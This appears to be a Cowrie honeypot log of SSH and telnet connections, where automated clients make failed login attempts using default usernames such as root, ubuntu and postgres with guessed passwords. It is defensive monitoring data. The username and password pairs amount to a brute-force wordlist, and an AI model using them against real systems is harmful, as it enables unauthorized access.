{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:22.279192Z","src_ip":"161.248.201.12","session":"89e57ec10f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:22.793800Z","src_ip":"144.91.108.61","session":"f9c4b6846fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456du","message":"login attempt [root/123456du] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:23.333455Z","src_ip":"161.248.201.12","session":"89e57ec10f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:24.590805Z","src_ip":"161.248.201.12","session":"89e57ec10f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":47332,"dst_ip":"159.203.135.109","dst_port":22,"session":"d52f9703e784","protocol":"ssh","message":"New connection: 223.17.1.118:47332 (159.203.135.109:22) [session: d52f9703e784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:32.828970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:32.833248Z","src_ip":"223.17.1.118","session":"d52f9703e784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:33.046450Z","src_ip":"223.17.1.118","session":"d52f9703e784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"12345678","message":"login attempt [ftpadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:33.926405Z","src_ip":"223.17.1.118","session":"d52f9703e784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88110852241516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:33.943371Z","src_ip":"170.64.224.25","session":"c7daf79bcfd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:35.141440Z","src_ip":"223.17.1.118","session":"d52f9703e784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45386,"dst_ip":"159.203.135.109","dst_port":23,"session":"f60b6901d358","protocol":"telnet","message":"New connection: 170.64.224.25:45386 (159.203.135.109:23) [session: f60b6901d358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:40.778106Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40824,"dst_ip":"10.17.0.5","dst_port":22,"session":"f42e951fe739","protocol":"ssh","message":"New connection: 147.45.199.80:40824 (10.17.0.5:22) [session: f42e951fe739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:43.779373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:43.783114Z","src_ip":"147.45.199.80","session":"f42e951fe739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:43.878316Z","src_ip":"147.45.199.80","session":"f42e951fe739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10021980","message":"login attempt [root/10021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:44.164530Z","src_ip":"147.45.199.80","session":"f42e951fe739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:45.259502Z","src_ip":"147.45.199.80","session":"f42e951fe739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35572,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b68778359d9","protocol":"ssh","message":"New connection: 109.237.96.109:35572 (159.203.135.109:22) [session: 4b68778359d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:47.877736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:47.881827Z","src_ip":"109.237.96.109","session":"4b68778359d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:47.967963Z","src_ip":"109.237.96.109","session":"4b68778359d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270884","message":"login attempt [root/270884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:48.220232Z","src_ip":"109.237.96.109","session":"4b68778359d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:49.306802Z","src_ip":"109.237.96.109","session":"4b68778359d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57502,"dst_ip":"10.17.0.5","dst_port":22,"session":"47fc01928837","protocol":"ssh","message":"New connection: 91.92.40.4:57502 (10.17.0.5:22) [session: 47fc01928837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:54.206147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:54.314946Z","src_ip":"91.92.40.4","session":"47fc01928837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:54.318702Z","src_ip":"91.92.40.4","session":"47fc01928837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"test","message":"login attempt [postgres/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:54.648608Z","src_ip":"91.92.40.4","session":"47fc01928837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:44:55.751662Z","src_ip":"91.92.40.4","session":"47fc01928837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":53772,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf43aa3d8ee9","protocol":"ssh","message":"New connection: 217.160.226.51:53772 (159.203.135.109:22) [session: bf43aa3d8ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:01.361023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:01.367679Z","src_ip":"217.160.226.51","session":"bf43aa3d8ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:01.475701Z","src_ip":"217.160.226.51","session":"bf43aa3d8ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:01.941842Z","src_ip":"217.160.226.51","session":"bf43aa3d8ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:03.050528Z","src_ip":"217.160.226.51","session":"bf43aa3d8ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e619f9ddb9","protocol":"telnet","message":"New connection: 170.64.224.25:57204 (159.203.135.109:23) [session: 22e619f9ddb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:27.063139Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":30871,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d201ecae26b","protocol":"ssh","message":"New connection: 223.197.186.7:30871 (10.17.0.5:22) [session: 5d201ecae26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:50.046546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:50.050718Z","src_ip":"223.197.186.7","session":"5d201ecae26b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:51.035043Z","src_ip":"223.197.186.7","session":"5d201ecae26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"232323","message":"login attempt [ubuntu/232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:53.183645Z","src_ip":"223.197.186.7","session":"5d201ecae26b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":32894,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c8b38aef5b9","protocol":"ssh","message":"New connection: 103.122.221.179:32894 (159.203.135.109:22) [session: 9c8b38aef5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:53.902966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:53.907622Z","src_ip":"103.122.221.179","session":"9c8b38aef5b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:54.157694Z","src_ip":"103.122.221.179","session":"9c8b38aef5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:54.403584Z","src_ip":"223.197.186.7","session":"5d201ecae26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.75901794433594,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:54.536966Z","src_ip":"170.64.224.25","session":"f60b6901d358","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"051284","message":"login attempt [root/051284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:54.910773Z","src_ip":"103.122.221.179","session":"9c8b38aef5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:45:56.163959Z","src_ip":"103.122.221.179","session":"9c8b38aef5b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41360,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b56b37fda19","protocol":"telnet","message":"New connection: 170.64.224.25:41360 (159.203.135.109:23) [session: 3b56b37fda19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:03.991646Z"}
{"eventid":"cowrie.session.closed","duration":36.94541645050049,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:46:04.008423Z","src_ip":"170.64.224.25","session":"22e619f9ddb9","protocol":"telnet"}
